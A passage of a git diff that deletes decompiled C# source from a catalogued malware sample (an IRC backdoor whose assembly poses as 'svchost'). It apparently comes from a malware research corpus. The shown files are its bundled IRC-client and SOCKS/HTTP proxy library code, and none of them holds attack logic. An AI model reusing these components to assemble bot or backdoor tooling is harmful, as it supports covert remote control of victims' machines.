C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class WhoEventArgs : IrcEventArgs - { - private WhoInfo f_WhoInfo; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public string Channel => this.f_WhoInfo.Channel; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public string Nick => this.f_WhoInfo.Nick; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public string Ident => this.f_WhoInfo.Ident; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public string Host => this.f_WhoInfo.Host; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public string Realname => this.f_WhoInfo.Realname; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public bool IsAway => this.f_WhoInfo.IsAway; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public bool IsOp => this.f_WhoInfo.IsOp; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public bool IsVoice => this.f_WhoInfo.IsVoice; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public bool IsIrcOp => this.f_WhoInfo.IsIrcOp; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public string Server => this.f_WhoInfo.Server; - - [Obsolete("Use WhoEventArgs.WhoInfo instead.")] - public int HopCount => this.f_WhoInfo.HopCount; - - public WhoInfo WhoInfo => this.f_WhoInfo; - - internal WhoEventArgs(IrcMessageData data, WhoInfo whoInfo) - : base(data) - { - this.f_WhoInfo = whoInfo; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventHandler.cs deleted file mode 100644 index 33302cb6..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.WhoEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void WhoEventHandler(object sender, WhoEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoInfo.cs deleted file mode 100644 index adde9a27..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoInfo.cs +++ /dev/null @@ -1,110 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.WhoInfo -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class WhoInfo - { - private string f_Channel; - private string f_Ident; - private string f_Host; - private string f_Server; - private string f_Nick; - private int f_HopCount; - private string f_Realname; - private bool f_IsAway; - private bool f_IsOp; - private bool f_IsVoice; - private bool f_IsIrcOp; - private bool f_IsRegistered; - - public string Channel => this.f_Channel; - - public string Ident => this.f_Ident; - - public string Host => this.f_Host; - - public string Server => this.f_Server; - - public string Nick => this.f_Nick; - - public int HopCount => this.f_HopCount; - - public string Realname => this.f_Realname; - - public bool IsAway => this.f_IsAway; - - public bool IsOp => this.f_IsOp; - - public bool IsVoice => this.f_IsVoice; - - public bool IsIrcOp => this.f_IsIrcOp; - - public bool IsRegistered => this.f_IsRegistered; - - private WhoInfo() - { - } - - public static WhoInfo Parse(IrcMessageData data) - { - WhoInfo whoInfo = new WhoInfo(); - whoInfo.f_Channel = data.RawMessageArray[3]; - whoInfo.f_Ident = data.RawMessageArray[4]; - whoInfo.f_Host = data.RawMessageArray[5]; - whoInfo.f_Server = data.RawMessageArray[6]; - whoInfo.f_Nick = data.RawMessageArray[7]; - whoInfo.f_Realname = string.Join(" ", data.MessageArray, 1, data.MessageArray.Length - 1); - string message = data.MessageArray[0]; - try - { - int.Parse(message); - } - catch (FormatException ex) - { - } - string rawMessage = data.RawMessageArray[8]; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - bool flag5 = false; - int length = rawMessage.Length; - for (int index = 0; index < length; ++index) - { - switch (rawMessage[index]) - { - case '*': - flag3 = true; - break; - case '+': - flag2 = true; - break; - case '@': - flag1 = true; - break; - case 'G': - flag4 = true; - break; - case 'H': - flag4 = false; - break; - case 'r': - flag5 = true; - break; - } - } - whoInfo.f_IsAway = flag4; - whoInfo.f_IsOp = flag1; - whoInfo.f_IsVoice = flag2; - whoInfo.f_IsIrcOp = flag3; - whoInfo.f_IsRegistered = flag5; - return whoInfo; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventArgs.cs deleted file mode 100644 index 3fd7f6df..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventArgs.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.WriteLineEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; - -namespace Meebey.SmartIrc4net -{ - public class WriteLineEventArgs : EventArgs - { - private string _Line; - - public string Line => this._Line; - - internal WriteLineEventArgs(string line) => this._Line = line; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventHandler.cs deleted file mode 100644 index 0c98bf2d..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.WriteLineEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void WriteLineEventHandler(object sender, WriteLineEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/CreateConnectionAsyncCompletedEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/CreateConnectionAsyncCompletedEventArgs.cs deleted file mode 100644 index 3ec888fc..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/CreateConnectionAsyncCompletedEventArgs.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.CreateConnectionAsyncCompletedEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.ComponentModel; -using System.Net.Sockets; - -namespace Starksoft.Net.Proxy -{ - public class CreateConnectionAsyncCompletedEventArgs : AsyncCompletedEventArgs - { - private TcpClient _proxyConnection; - - public CreateConnectionAsyncCompletedEventArgs( - Exception error, - bool cancelled, - TcpClient proxyConnection) - : base(error, cancelled, (object) null) - { - this._proxyConnection = proxyConnection; - } - - public TcpClient ProxyConnection => this._proxyConnection; - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/HttpProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/HttpProxyClient.cs deleted file mode 100644 index fe8e72c3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/HttpProxyClient.cs +++ /dev/null @@ -1,287 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.HttpProxyClient -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.ComponentModel; -using System.Globalization; -using System.Net.Sockets; -using System.Text; -using System.Threading; - -namespace Starksoft.Net.Proxy -{ - public class HttpProxyClient : IProxyClient - { - private const int HTTP_PROXY_DEFAULT_PORT = 8080; - private const string HTTP_PROXY_CONNECT_CMD = "CONNECT {0}:{1} HTTP/1.0\r\nHOST {0}:{1}\r\n\r\n"; - private const int WAIT_FOR_DATA_INTERVAL = 50; - private const int WAIT_FOR_DATA_TIMEOUT = 15000; - private const string PROXY_NAME = "HTTP"; - private string _proxyHost; - private int _proxyPort; - private HttpProxyClient.HttpResponseCodes _respCode; - private string _respText; - private TcpClient _tcpClient; - private BackgroundWorker _asyncWorker; - private Exception _asyncException; - private bool _asyncCancelled; - - public HttpProxyClient() - { - } - - public HttpProxyClient(TcpClient tcpClient) => this._tcpClient = tcpClient != null ? tcpClient : throw new ArgumentNullException(nameof (tcpClient)); - - public HttpProxyClient(string proxyHost) - { - this._proxyHost = !string.IsNullOrEmpty(proxyHost) ? proxyHost : throw new ArgumentNullException(nameof (proxyHost)); - this._proxyPort = 8080; - } - - public HttpProxyClient(string proxyHost, int proxyPort) - { - if (string.IsNullOrEmpty(proxyHost)) - throw new ArgumentNullException(nameof (proxyHost)); - if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue) - throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535"); - this._proxyHost = proxyHost; - this._proxyPort = proxyPort; - } - - public string ProxyHost - { - get => this._proxyHost; - set => this._proxyHost = value; - } - - public int ProxyPort - { - get => this._proxyPort; - set => this._proxyPort = value; - } - - public string ProxyName => "HTTP"; - - public TcpClient TcpClient - { - get => this._tcpClient; - set => this._tcpClient = value; - } - - public TcpClient CreateConnection(string destinationHost, int destinationPort) - { - try - { - if (this._tcpClient == null) - { - if (string.IsNullOrEmpty(this._proxyHost)) - throw new ProxyException("ProxyHost property must contain a value."); - if (this._proxyPort <= 0 || this._proxyPort > (int) ushort.MaxValue) - throw new ProxyException("ProxyPort value must be greater than zero and less than 65535"); - this._tcpClient = new TcpClient(); - this._tcpClient.Connect(this._proxyHost, this._proxyPort); - } - this.SendConnectionCommand(destinationHost, destinationPort); - return this._tcpClient; - } - catch (SocketException ex) - { - throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Connection to proxy host {0} on port {1} failed.", new object[2] - { - (object) Utils.GetHost(this._tcpClient), - (object) Utils.GetPort(this._tcpClient) - }), (Exception) ex); - } - } - - private void SendConnectionCommand(string host, int port) - { - NetworkStream stream = this._tcpClient.GetStream(); - byte[] bytes = Encoding.ASCII.GetBytes(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "CONNECT {0}:{1} HTTP/1.0\r\nHOST {0}:{1}\r\n\r\n", new object[2] - { - (object) host, - (object) port.ToString((IFormatProvider) CultureInfo.InvariantCulture) - })); - stream.Write(bytes, 0, bytes.Length); - this.WaitForData(stream); - byte[] numArray = new byte[this._tcpClient.ReceiveBufferSize]; - StringBuilder stringBuilder = new StringBuilder(); - long num = 0; - do - { - int count = stream.Read(numArray, 0, this._tcpClient.ReceiveBufferSize); - num += (long) count; - stringBuilder.Append(Encoding.UTF8.GetString(numArray, 0, count)); - } - while (stream.DataAvailable); - this.ParseResponse(stringBuilder.ToString()); - if (this._respCode == HttpProxyClient.HttpResponseCodes.OK) - return; - this.HandleProxyCommandError(host, port); - } - - private void HandleProxyCommandError(string host, int port) - { - string message; - switch (this._respCode) - { - case HttpProxyClient.HttpResponseCodes.None: - message = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Proxy destination {0} on port {1} failed to return a recognized HTTP response code. Server response: {2}", new object[3] - { - (object) Utils.GetHost(this._tcpClient), - (object) Utils.GetPort(this._tcpClient), - (object) this._respText - }); - break; - case HttpProxyClient.HttpResponseCodes.BadGateway: - message = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Proxy destination {0} on port {1} responded with a 502 code - Bad Gateway. If you are connecting to a Microsoft ISA destination please refer to knowledge based article Q283284 for more information. Server response: {2}", new object[3] - { - (object) Utils.GetHost(this._tcpClient), - (object) Utils.GetPort(this._tcpClient), - (object) this._respText - }); - break; - default: - message = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Proxy destination {0} on port {1} responded with a {2} code - {3}", (object) Utils.GetHost(this._tcpClient), (object) Utils.GetPort(this._tcpClient), (object) ((int) this._respCode).ToString((IFormatProvider) CultureInfo.InvariantCulture), (object) this._respText); - break; - } - throw new ProxyException(message); - } - - private void WaitForData(NetworkStream stream) - { - int num = 0; - while (!stream.DataAvailable) - { - Thread.Sleep(50); - num += 50; - if (num > 15000) - throw new ProxyException(string.Format("A timeout while waiting for the proxy server at {0} on port {1} to respond.", (object) Utils.GetHost(this._tcpClient), (object) Utils.GetPort(this._tcpClient))); - } - } - - private void ParseResponse(string response) => this.ParseCodeAndText(response.Replace('\n', ' ').Split('\r')[0]); - - private void ParseCodeAndText(string line) - { - if (line.IndexOf("HTTP") == -1) - throw new ProxyException(string.Format("No HTTP response received from proxy destination. Server response: {0}.", (object) line)); - int startIndex = line.IndexOf(" ") + 1; - int num = line.IndexOf(" ", startIndex); - string s = line.Substring(startIndex, num - startIndex); - int result = 0; - if (!int.TryParse(s, out result)) - throw new ProxyException(string.Format("An invalid response code was received from proxy destination. Server response: {0}.", (object) line)); - this._respCode = (HttpProxyClient.HttpResponseCodes) result; - this._respText = line.Substring(num + 1).Trim(); - } - - public bool IsBusy => this._asyncWorker != null && this._asyncWorker.IsBusy; - - public bool IsAsyncCancelled => this._asyncCancelled; - - public void CancelAsync() - { - if (this._asyncWorker == null || this._asyncWorker.CancellationPending || !this._asyncWorker.IsBusy) - return; - this._asyncCancelled = true; - this._asyncWorker.CancelAsync(); - } - - private void CreateAsyncWorker() - { - if (this._asyncWorker != null) - this._asyncWorker.Dispose(); - this._asyncException = (Exception) null; - this._asyncWorker = (BackgroundWorker) null; - this._asyncCancelled = false; - this._asyncWorker = new BackgroundWorker(); - } - - public event EventHandler CreateConnectionAsyncCompleted; - - public void CreateConnectionAsync(string destinationHost, int destinationPort) - { - if (this._asyncWorker != null && this._asyncWorker.IsBusy) - throw new InvalidOperationException("The HttpProxy object is already busy executing another asynchronous operation. You can only execute one asychronous method at a time."); - this.CreateAsyncWorker(); - this._asyncWorker.WorkerSupportsCancellation = true; - this._asyncWorker.DoWork += new DoWorkEventHandler(this.CreateConnectionAsync_DoWork); - this._asyncWorker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.CreateConnectionAsync_RunWorkerCompleted); - this._asyncWorker.RunWorkerAsync((object) new object[2] - { - (object) destinationHost, - (object) destinationPort - }); - } - - private void CreateConnectionAsync_DoWork(object sender, DoWorkEventArgs e) - { - try - { - object[] objArray = (object[]) e.Argument; - e.Result = (object) this.CreateConnection((string) objArray[0], (int) objArray[1]); - } - catch (Exception ex) - { - this._asyncException = ex; - } - } - - private void CreateConnectionAsync_RunWorkerCompleted( - object sender, - RunWorkerCompletedEventArgs e) - { - if (this.CreateConnectionAsyncCompleted == null) - return; - this.CreateConnectionAsyncCompleted((object) this, new CreateConnectionAsyncCompletedEventArgs(this._asyncException, this._asyncCancelled, (TcpClient) e.Result)); - } - - private enum HttpResponseCodes - { - None = 0, - Continue = 100, // 0x00000064 - SwitchingProtocols = 101, // 0x00000065 - OK = 200, // 0x000000C8 - Created = 201, // 0x000000C9 - Accepted = 202, // 0x000000CA - NonAuthoritiveInformation = 203, // 0x000000CB - NoContent = 204, // 0x000000CC - ResetContent = 205, // 0x000000CD - PartialContent = 206, // 0x000000CE - MultipleChoices = 300, // 0x0000012C - MovedPermanetly = 301, // 0x0000012D - Found = 302, // 0x0000012E - SeeOther = 303, // 0x0000012F - NotModified = 304, // 0x00000130 - UserProxy = 305, // 0x00000131 - TemporaryRedirect = 307, // 0x00000133 - BadRequest = 400, // 0x00000190 - Unauthorized = 401, // 0x00000191 - PaymentRequired = 402, // 0x00000192 - Forbidden = 403, // 0x00000193 - NotFound = 404, // 0x00000194 - MethodNotAllowed = 405, // 0x00000195 - NotAcceptable = 406, // 0x00000196 - ProxyAuthenticantionRequired = 407, // 0x00000197 - RequestTimeout = 408, // 0x00000198 - Conflict = 409, // 0x00000199 - Gone = 410, // 0x0000019A - PreconditionFailed = 411, // 0x0000019B - RequestEntityTooLarge = 413, // 0x0000019D - RequestURITooLong = 414, // 0x0000019E - UnsupportedMediaType = 415, // 0x0000019F - RequestedRangeNotSatisfied = 416, // 0x000001A0 - ExpectationFailed = 417, // 0x000001A1 - InternalServerError = 500, // 0x000001F4 - NotImplemented = 501, // 0x000001F5 - BadGateway = 502, // 0x000001F6 - ServiceUnavailable = 503, // 0x000001F7 - GatewayTimeout = 504, // 0x000001F8 - HTTPVersionNotSupported = 505, // 0x000001F9 - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/IProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/IProxyClient.cs deleted file mode 100644 index a0b6de85..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/IProxyClient.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.IProxyClient -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Net.Sockets; - -namespace Starksoft.Net.Proxy -{ - public interface IProxyClient - { - event EventHandler CreateConnectionAsyncCompleted; - - string ProxyHost { get; set; } - - int ProxyPort { get; set; } - - string ProxyName { get; } - - TcpClient TcpClient { get; set; } - - TcpClient CreateConnection(string destinationHost, int destinationPort); - - void CreateConnectionAsync(string destinationHost, int destinationPort); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyClientFactory.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyClientFactory.cs deleted file mode 100644 index 0c5add2c..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyClientFactory.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.ProxyClientFactory -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Net.Sockets; - -namespace Starksoft.Net.Proxy -{ - public class ProxyClientFactory - { - public IProxyClient CreateProxyClient(ProxyType type) - { - switch (type) - { - case ProxyType.None: - throw new ArgumentOutOfRangeException(nameof (type)); - case ProxyType.Http: - return (IProxyClient) new HttpProxyClient(); - case ProxyType.Socks4: - return (IProxyClient) new Socks4ProxyClient(); - case ProxyType.Socks4a: - return (IProxyClient) new Socks4aProxyClient(); - case ProxyType.Socks5: - return (IProxyClient) new Socks5ProxyClient(); - default: - throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString())); - } - } - - public IProxyClient CreateProxyClient(ProxyType type, TcpClient tcpClient) - { - switch (type) - { - case ProxyType.None: - throw new ArgumentOutOfRangeException(nameof (type)); - case ProxyType.Http: - return (IProxyClient) new HttpProxyClient(tcpClient); - case ProxyType.Socks4: - return (IProxyClient) new Socks4ProxyClient(tcpClient); - case ProxyType.Socks4a: - return (IProxyClient) new Socks4aProxyClient(tcpClient); - case ProxyType.Socks5: - return (IProxyClient) new Socks5ProxyClient(tcpClient); - default: - throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString())); - } - } - - public IProxyClient CreateProxyClient( - ProxyType type, - string proxyHost, - int proxyPort) - { - switch (type) - { - case ProxyType.None: - throw new ArgumentOutOfRangeException(nameof (type)); - case ProxyType.Http: - return (IProxyClient) new HttpProxyClient(proxyHost, proxyPort); - case ProxyType.Socks4: - return (IProxyClient) new Socks4ProxyClient(proxyHost, proxyPort); - case ProxyType.Socks4a: - return (IProxyClient) new Socks4aProxyClient(proxyHost, proxyPort); - case ProxyType.Socks5: - return (IProxyClient) new Socks5ProxyClient(proxyHost, proxyPort); - default: - throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString())); - } - } - - public IProxyClient CreateProxyClient( - ProxyType type, - string proxyHost, - int proxyPort, - string proxyUsername, - string proxyPassword) - { - switch (type) - { - case ProxyType.None: - throw new ArgumentOutOfRangeException(nameof (type)); - case ProxyType.Http: - return (IProxyClient) new HttpProxyClient(proxyHost, proxyPort); - case ProxyType.Socks4: - return (IProxyClient) new Socks4ProxyClient(proxyHost, proxyPort, proxyUsername); - case ProxyType.Socks4a: - return (IProxyClient) new Socks4aProxyClient(proxyHost, proxyPort, proxyUsername); - case ProxyType.Socks5: - return (IProxyClient) new Socks5ProxyClient(proxyHost, proxyPort, proxyUsername, proxyPassword); - default: - throw new ProxyException(string.Format("Unknown proxy type {0}.", (object) type.ToString())); - } - } - - public IProxyClient CreateProxyClient( - ProxyType type, - TcpClient tcpClient, - string proxyHost, - int proxyPort, - string proxyUsername, - string proxyPassword) - { - IProxyClient proxyClient = this.CreateProxyClient(type, proxyHost, proxyPort, proxyUsername, proxyPassword); - proxyClient.TcpClient = tcpClient; - return proxyClient; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyException.cs deleted file mode 100644 index 57421bab..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyException.cs +++ /dev/null @@ -1,34 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.ProxyException -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Runtime.Serialization; - -namespace Starksoft.Net.Proxy -{ - [Serializable] - public class ProxyException : Exception - { - public ProxyException() - { - } - - public ProxyException(string message) - : base(message) - { - } - - public ProxyException(string message, Exception innerException) - : base(message, innerException) - { - } - - protected ProxyException(SerializationInfo info, StreamingContext context) - : base(info, context) - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyType.cs deleted file mode 100644 index 3394bfcc..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/ProxyType.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.ProxyType -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Starksoft.Net.Proxy -{ - public enum ProxyType - { - None, - Http, - Socks4, - Socks4a, - Socks5, - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4ProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4ProxyClient.cs deleted file mode 100644 index 6a60b22f..00000000 --- 